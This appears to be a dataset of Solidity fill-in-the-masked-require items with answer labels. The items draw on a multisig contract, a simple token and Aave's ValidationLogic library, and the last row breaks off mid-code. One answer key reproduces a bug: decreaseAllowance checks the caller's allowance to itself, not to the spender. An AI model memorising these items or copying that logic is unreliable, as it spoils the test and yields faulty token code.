comment
stringlengths
1
211
input
stringlengths
155
20k
label
stringlengths
4
1k
original_idx
int64
203
514k
predicate
stringlengths
1
1k
"MultiSignCoinTx: tx not approved"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract MultiSignCoinTx { event CoinTxSubmit(uint256 indexed txId); event CoinTxApprove(address indexed signer, uint256 indexed txId); event CoinTxRevoke(address indexed signer, uint256 indexed txId); event CoinTxExecute(uint256 indexed txId); struct CoinTransaction { uint256 value; uint256 delayTime; bool executed; } CoinTransaction[] public coinTransactions; address[] public coinTxSigners; uint256 public coinTxRequired; mapping(address => bool) public isCoinTxSigner; mapping(uint256 => mapping(address => bool)) public coinTxApproved; modifier onlyCoinTxSigner() { } modifier coinTxExists(uint256 _txId) { } modifier coinTxNotApproved(uint256 _txId) { } modifier coinTxNotExecuted(uint256 _txId) { } modifier coinTxUnlocked(uint256 _txId) { } constructor(address[] memory _signers, uint256 _required) { } function getCoinTransactions() external view returns (CoinTransaction[] memory) { } function coinTxSubmit(uint256 _value, uint256 _delayTime) external onlyCoinTxSigner { } function coinTxApprove(uint256 _txId) external onlyCoinTxSigner coinTxExists(_txId) coinTxNotApproved(_txId) coinTxNotExecuted(_txId) { } function getCoinTxApprovalCount(uint256 _txId) public view returns (uint256 count) { } function coinTxRevoke(uint256 _txId) external onlyCoinTxSigner coinTxExists(_txId) coinTxNotExecuted(_txId) { require(<FILL_ME>) coinTxApproved[_txId][msg.sender] = false; emit CoinTxRevoke(msg.sender, _txId); } function coinTxExecute(uint256 _txId) public virtual onlyCoinTxSigner coinTxExists(_txId) coinTxNotExecuted(_txId) coinTxUnlocked(_txId) { } }
coinTxApproved[_txId][msg.sender],"MultiSignCoinTx: tx not approved"
435,264
coinTxApproved[_txId][msg.sender]
"MultiSignCoinTx: the required number of approvals is insufficient"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.17; contract MultiSignCoinTx { event CoinTxSubmit(uint256 indexed txId); event CoinTxApprove(address indexed signer, uint256 indexed txId); event CoinTxRevoke(address indexed signer, uint256 indexed txId); event CoinTxExecute(uint256 indexed txId); struct CoinTransaction { uint256 value; uint256 delayTime; bool executed; } CoinTransaction[] public coinTransactions; address[] public coinTxSigners; uint256 public coinTxRequired; mapping(address => bool) public isCoinTxSigner; mapping(uint256 => mapping(address => bool)) public coinTxApproved; modifier onlyCoinTxSigner() { } modifier coinTxExists(uint256 _txId) { } modifier coinTxNotApproved(uint256 _txId) { } modifier coinTxNotExecuted(uint256 _txId) { } modifier coinTxUnlocked(uint256 _txId) { } constructor(address[] memory _signers, uint256 _required) { } function getCoinTransactions() external view returns (CoinTransaction[] memory) { } function coinTxSubmit(uint256 _value, uint256 _delayTime) external onlyCoinTxSigner { } function coinTxApprove(uint256 _txId) external onlyCoinTxSigner coinTxExists(_txId) coinTxNotApproved(_txId) coinTxNotExecuted(_txId) { } function getCoinTxApprovalCount(uint256 _txId) public view returns (uint256 count) { } function coinTxRevoke(uint256 _txId) external onlyCoinTxSigner coinTxExists(_txId) coinTxNotExecuted(_txId) { } function coinTxExecute(uint256 _txId) public virtual onlyCoinTxSigner coinTxExists(_txId) coinTxNotExecuted(_txId) coinTxUnlocked(_txId) { require(<FILL_ME>) CoinTransaction storage coinTransaction = coinTransactions[_txId]; coinTransaction.executed = true; emit CoinTxExecute(_txId); } }
getCoinTxApprovalCount(_txId)>=coinTxRequired,"MultiSignCoinTx: the required number of approvals is insufficient"
435,264
getCoinTxApprovalCount(_txId)>=coinTxRequired
'ERC20: decreased allowance below zero'
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract Token { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); address public owner; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 public totalSupply; string public name; string public symbol; uint8 public decimals; constructor (string memory _name, string memory _symbol, uint8 _decimals, address _owner, uint _initialMint) { } modifier onlyOwner() { } function balanceOf(address account) public view returns (uint256) { } function transfer(address recipient, uint256 amount) public returns (bool) { } function allowance(address account, address spender) public view returns (uint256) { } function approve(address spender, uint256 amount) public returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(<FILL_ME>) _approve(msg.sender, spender, _allowances[msg.sender][msg.sender] - subtractedValue); return true; } function mint(uint256 amount) public onlyOwner returns (bool) { } function _transfer(address sender, address recipient, uint256 amount) internal { } function _mint(address account, uint256 amount) internal { } function _burn(address account, uint256 amount) internal { } function _approve(address account, address spender, uint256 amount) internal { } function mintTo(address account, uint256 amount) external onlyOwner { } function burnFrom(address account, uint256 amount) external onlyOwner { } }
_allowances[msg.sender][msg.sender]>=subtractedValue,'ERC20: decreased allowance below zero'
435,378
_allowances[msg.sender][msg.sender]>=subtractedValue
Errors.RESERVE_INACTIVE
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(<FILL_ME>) require(!vars.isPaused, Errors.RESERVE_PAUSED); require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory reserveCache, uint256 userBalance ) internal pure { } /** * @notice Validates a flashloan action. * @param reservesData The state of all the reserves * @param assets The assets being flash-borrowed * @param amounts The amounts for each asset being borrowed */ function validateFlashloan( mapping(address => DataTypes.ReserveData) storage reservesData, address[] memory assets, uint256[] memory amounts ) internal view { } /** * @notice Validates a flashloan action. * @param reserve The state of the reserve */ function validateFlashloanSimple(DataTypes.ReserveData storage reserve) internal view { } struct ValidateLiquidationCallLocalVars { bool collateralReserveActive; bool collateralReservePaused; bool principalReserveActive; bool principalReservePaused; bool isCollateralEnabled; } /** * @notice Validates the liquidation action. * @param userConfig The user configuration mapping * @param collateralReserve The reserve data of the collateral * @param params Additional parameters needed for the validation */ function validateLiquidationCall( DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveData storage collateralReserve, DataTypes.ValidateLiquidationCallParams memory params ) internal view { } /** * @notice Validates the health factor of a user. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param user The user to validate health factor of * @param userEModeCategory The users active efficiency mode category * @param reservesCount The number of available reserves * @param oracle The price oracle */ function validateHealthFactor( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address user, uint8 userEModeCategory, uint256 reservesCount, address oracle ) internal view returns (uint256, bool) { } /** * @notice Validates the health factor of a user and the ltv of the asset being withdrawn. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param userConfig The state of the user for the specific reserve * @param asset The asset for which the ltv will be validated * @param from The user from which the aTokens are being transferred * @param reservesCount The number of available reserves * @param oracle The price oracle * @param userEModeCategory The users active efficiency mode category */ function validateHFAndLtv( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, address asset, address from, uint256 reservesCount, address oracle, uint8 userEModeCategory ) internal view { } /** * @notice Validates a transfer action. * @param reserve The reserve object */ function validateTransfer(DataTypes.ReserveData storage reserve) internal view { } /** * @notice Validates a drop reserve action. * @param reservesList The addresses of all the active reserves * @param reserve The reserve object * @param asset The address of the reserve's underlying asset */ function validateDropReserve( mapping(uint256 => address) storage reservesList, DataTypes.ReserveData storage reserve, address asset ) internal view { } /** * @notice Validates the action of setting efficiency mode. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories a mapping storing configurations for all efficiency mode categories * @param userConfig the user configuration * @param reservesCount The total number of valid reserves * @param categoryId The id of the category */ function validateSetUserEMode( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.UserConfigurationMap memory userConfig, uint256 reservesCount, uint8 categoryId ) internal view { } /** * @notice Validates the action of activating the asset as collateral. * @dev Only possible if the asset has non-zero LTV and the user is not in isolation mode * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig ) internal view returns (bool) { } /** * @notice Validates if an asset should be automatically activated as collateral in the following actions: supply, * transfer, mint unbacked, and liquidate * @dev This is used to ensure that isolated assets are not enabled as collateral automatically * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param userConfig the user configuration * @param reserveConfig The reserve configuration * @return True if the asset can be activated as collateral, false otherwise */ function validateAutomaticUseAsCollateral( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, DataTypes.UserConfigurationMap storage userConfig, DataTypes.ReserveConfigurationMap memory reserveConfig, address aTokenAddress ) internal view returns (bool) { } }
vars.isActive,Errors.RESERVE_INACTIVE
435,439
vars.isActive
Errors.RESERVE_PAUSED
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.10; import {IERC20} from '../../../dependencies/openzeppelin/contracts/IERC20.sol'; import {Address} from '../../../dependencies/openzeppelin/contracts/Address.sol'; import {GPv2SafeERC20} from '../../../dependencies/gnosis/contracts/GPv2SafeERC20.sol'; import {IReserveInterestRateStrategy} from '../../../interfaces/IReserveInterestRateStrategy.sol'; import {IStableDebtToken} from '../../../interfaces/IStableDebtToken.sol'; import {IScaledBalanceToken} from '../../../interfaces/IScaledBalanceToken.sol'; import {IPriceOracleGetter} from '../../../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../../../interfaces/IAToken.sol'; import {IPriceOracleSentinel} from '../../../interfaces/IPriceOracleSentinel.sol'; import {IPoolAddressesProvider} from '../../../interfaces/IPoolAddressesProvider.sol'; import {IAccessControl} from '../../../dependencies/openzeppelin/contracts/IAccessControl.sol'; import {ReserveConfiguration} from '../configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../configuration/UserConfiguration.sol'; import {Errors} from '../helpers/Errors.sol'; import {WadRayMath} from '../math/WadRayMath.sol'; import {PercentageMath} from '../math/PercentageMath.sol'; import {DataTypes} from '../types/DataTypes.sol'; import {ReserveLogic} from './ReserveLogic.sol'; import {GenericLogic} from './GenericLogic.sol'; import {SafeCast} from '../../../dependencies/openzeppelin/contracts/SafeCast.sol'; import {IncentivizedERC20} from '../../tokenization/base/IncentivizedERC20.sol'; /** * @title ReserveLogic library * @author Aave * @notice Implements functions to validate the different actions of the protocol */ library ValidationLogic { using ReserveLogic for DataTypes.ReserveData; using WadRayMath for uint256; using PercentageMath for uint256; using SafeCast for uint256; using GPv2SafeERC20 for IERC20; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; using Address for address; // Factor to apply to "only-variable-debt" liquidity rate to get threshold for rebalancing, expressed in bps // A value of 0.9e4 results in 90% uint256 public constant REBALANCE_UP_LIQUIDITY_RATE_THRESHOLD = 0.9e4; // Minimum health factor allowed under any circumstance // A value of 0.95e18 results in 0.95 uint256 public constant MINIMUM_HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 0.95e18; /** * @dev Minimum health factor to consider a user position healthy * A value of 1e18 results in 1 */ uint256 public constant HEALTH_FACTOR_LIQUIDATION_THRESHOLD = 1e18; /** * @dev Role identifier for the role allowed to supply isolated reserves as collateral */ bytes32 public constant ISOLATED_COLLATERAL_SUPPLIER_ROLE = keccak256('ISOLATED_COLLATERAL_SUPPLIER'); /** * @notice Validates a supply action. * @param reserveCache The cached data of the reserve * @param amount The amount to be supplied */ function validateSupply( DataTypes.ReserveCache memory reserveCache, DataTypes.ReserveData storage reserve, uint256 amount ) internal view { } /** * @notice Validates a withdraw action. * @param reserveCache The cached data of the reserve * @param amount The amount to be withdrawn * @param userBalance The balance of the user */ function validateWithdraw( DataTypes.ReserveCache memory reserveCache, uint256 amount, uint256 userBalance ) internal pure { } struct ValidateBorrowLocalVars { uint256 currentLtv; uint256 collateralNeededInBaseCurrency; uint256 userCollateralInBaseCurrency; uint256 userDebtInBaseCurrency; uint256 availableLiquidity; uint256 healthFactor; uint256 totalDebt; uint256 totalSupplyVariableDebt; uint256 reserveDecimals; uint256 borrowCap; uint256 amountInBaseCurrency; uint256 assetUnit; address eModePriceSource; address siloedBorrowingAddress; bool isActive; bool isFrozen; bool isPaused; bool borrowingEnabled; bool stableRateBorrowingEnabled; bool siloedBorrowingEnabled; } /** * @notice Validates a borrow action. * @param reservesData The state of all the reserves * @param reservesList The addresses of all the active reserves * @param eModeCategories The configuration of all the efficiency mode categories * @param params Additional params needed for the validation */ function validateBorrow( mapping(address => DataTypes.ReserveData) storage reservesData, mapping(uint256 => address) storage reservesList, mapping(uint8 => DataTypes.EModeCategory) storage eModeCategories, DataTypes.ValidateBorrowParams memory params ) internal view { require(params.amount != 0, Errors.INVALID_AMOUNT); ValidateBorrowLocalVars memory vars; ( vars.isActive, vars.isFrozen, vars.borrowingEnabled, vars.stableRateBorrowingEnabled, vars.isPaused ) = params.reserveCache.reserveConfiguration.getFlags(); require(vars.isActive, Errors.RESERVE_INACTIVE); require(<FILL_ME>) require(!vars.isFrozen, Errors.RESERVE_FROZEN); require(vars.borrowingEnabled, Errors.BORROWING_NOT_ENABLED); require( params.priceOracleSentinel == address(0) || IPriceOracleSentinel(params.priceOracleSentinel).isBorrowAllowed(), Errors.PRICE_ORACLE_SENTINEL_CHECK_FAILED ); //validate interest rate mode require( params.interestRateMode == DataTypes.InterestRateMode.VARIABLE || params.interestRateMode == DataTypes.InterestRateMode.STABLE, Errors.INVALID_INTEREST_RATE_MODE_SELECTED ); vars.reserveDecimals = params.reserveCache.reserveConfiguration.getDecimals(); vars.borrowCap = params.reserveCache.reserveConfiguration.getBorrowCap(); unchecked { vars.assetUnit = 10 ** vars.reserveDecimals; } if (vars.borrowCap != 0) { vars.totalSupplyVariableDebt = params.reserveCache.currScaledVariableDebt.rayMul( params.reserveCache.nextVariableBorrowIndex ); vars.totalDebt = params.reserveCache.currTotalStableDebt + vars.totalSupplyVariableDebt + params.amount; unchecked { require(vars.totalDebt <= vars.borrowCap * vars.assetUnit, Errors.BORROW_CAP_EXCEEDED); } } if (params.isolationModeActive) { // check that the asset being borrowed is borrowable in isolation mode AND // the total exposure is no bigger than the collateral debt ceiling require( params.reserveCache.reserveConfiguration.getBorrowableInIsolation(), Errors.ASSET_NOT_BORROWABLE_IN_ISOLATION ); require( reservesData[params.isolationModeCollateralAddress].isolationModeTotalDebt + (params.amount / 10 ** (vars.reserveDecimals - ReserveConfiguration.DEBT_CEILING_DECIMALS)) .toUint128() <= params.isolationModeDebtCeiling, Errors.DEBT_CEILING_EXCEEDED ); } if (params.userEModeCategory != 0) { require( params.reserveCache.reserveConfiguration.getEModeCategory() == params.userEModeCategory, Errors.INCONSISTENT_EMODE_CATEGORY ); vars.eModePriceSource = eModeCategories[params.userEModeCategory].priceSource; } ( vars.userCollateralInBaseCurrency, vars.userDebtInBaseCurrency, vars.currentLtv, , vars.healthFactor, ) = GenericLogic.calculateUserAccountData( reservesData, reservesList, eModeCategories, DataTypes.CalculateUserAccountDataParams({ userConfig: params.userConfig, reservesCount: params.reservesCount, user: params.userAddress, oracle: params.oracle, userEModeCategory: params.userEModeCategory }) ); require(vars.userCollateralInBaseCurrency != 0, Errors.COLLATERAL_BALANCE_IS_ZERO); require(vars.currentLtv != 0, Errors.LTV_VALIDATION_FAILED); require( vars.healthFactor > HEALTH_FACTOR_LIQUIDATION_THRESHOLD, Errors.HEALTH_FACTOR_LOWER_THAN_LIQUIDATION_THRESHOLD ); vars.amountInBaseCurrency = IPriceOracleGetter(params.oracle).getAssetPrice( vars.eModePriceSource != address(0) ? vars.eModePriceSource : params.asset ) * params.amount; unchecked { vars.amountInBaseCurrency /= vars.assetUnit; } //add the current already borrowed amount to the amount requested to calculate the total collateral needed. vars.collateralNeededInBaseCurrency = (vars.userDebtInBaseCurrency + vars.amountInBaseCurrency) .percentDiv(vars.currentLtv); //LTV is calculated in percentage require( vars.collateralNeededInBaseCurrency <= vars.userCollateralInBaseCurrency, Errors.COLLATERAL_CANNOT_COVER_NEW_BORROW ); /** * Following conditions need to be met if the user is borrowing at a stable rate: * 1. Reserve must be enabled for stable rate borrowing * 2. Users cannot borrow from the reserve if their collateral is (mostly) the same currency * they are borrowing, to prevent abuses. * 3. Users will be able to borrow only a portion of the total available liquidity */ if (params.interestRateMode == DataTypes.InterestRateMode.STABLE) { //check if the borrow mode is stable and if stable rate borrowing is enabled on this reserve require(vars.stableRateBorrowingEnabled, Errors.STABLE_BORROWING_NOT_ENABLED); require( !params.userConfig.isUsingAsCollateral(reservesData[params.asset].id) || params.reserveCache.reserveConfiguration.getLtv() == 0 || params.amount > IERC20(params.reserveCache.aTokenAddress).balanceOf(params.userAddress), Errors.COLLATERAL_SAME_AS_BORROWING_CURRENCY ); vars.availableLiquidity = IERC20(params.asset).balanceOf(params.reserveCache.aTokenAddress); //calculate the max available loan size in stable rate mode as a percentage of the //available liquidity uint256 maxLoanSizeStable = vars.availableLiquidity.percentMul(params.maxStableLoanPercent); require(params.amount <= maxLoanSizeStable, Errors.AMOUNT_BIGGER_THAN_MAX_LOAN_SIZE_STABLE); } if (params.userConfig.isBorrowingAny()) { (vars.siloedBorrowingEnabled, vars.siloedBorrowingAddress) = params .userConfig .getSiloedBorrowingState(reservesData, reservesList); if (vars.siloedBorrowingEnabled) { require(vars.siloedBorrowingAddress == params.asset, Errors.SILOED_BORROWING_VIOLATION); } else { require( !params.reserveCache.reserveConfiguration.getSiloedBorrowing(), Errors.SILOED_BORROWING_VIOLATION ); } } } /** * @notice Validates a repay action. * @param reserveCache The cached data of the reserve * @param amountSent The amount sent for the repayment. Can be an actual value or uint(-1) * @param interestRateMode The interest rate mode of the debt being repaid * @param onBehalfOf The address of the user msg.sender is repaying for * @param stableDebt The borrow balance of the user * @param variableDebt The borrow balance of the user */ function validateRepay( DataTypes.ReserveCache memory reserveCache, uint256 amountSent, DataTypes.InterestRateMode interestRateMode, address onBehalfOf, uint256 stableDebt, uint256 variableDebt ) internal view { } /** * @notice Validates a swap of borrow rate mode. * @param reserve The reserve state on which the user is swapping the rate * @param reserveCache The cached data of the reserve * @param userConfig The user reserves configuration * @param stableDebt The stable debt of the user * @param variableDebt The variable debt of the user * @param currentRateMode The rate mode of the debt being swapped */ function validateSwapRateMode( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, DataTypes.UserConfigurationMap storage userConfig, uint256 stableDebt, uint256 variableDebt, DataTypes.InterestRateMode currentRateMode ) internal view { } /** * @notice Validates a stable borrow rate rebalance action. * @dev Rebalancing is accepted when depositors are earning <= 90% of their earnings in pure supply/demand market (variable rate only) * For this to be the case, there has to be quite large stable debt with an interest rate below the current variable rate. * @param reserve The reserve state on which the user is getting rebalanced * @param reserveCache The cached state of the reserve * @param reserveAddress The address of the reserve */ function validateRebalanceStableBorrowRate( DataTypes.ReserveData storage reserve, DataTypes.ReserveCache memory reserveCache, address reserveAddress ) internal view { } /** * @notice Validates the action of setting an asset as collateral. * @param reserveCache The cached data of the reserve * @param userBalance The balance of the user */ function validateSetUseReserveAsCollateral( DataTypes.ReserveCache memory 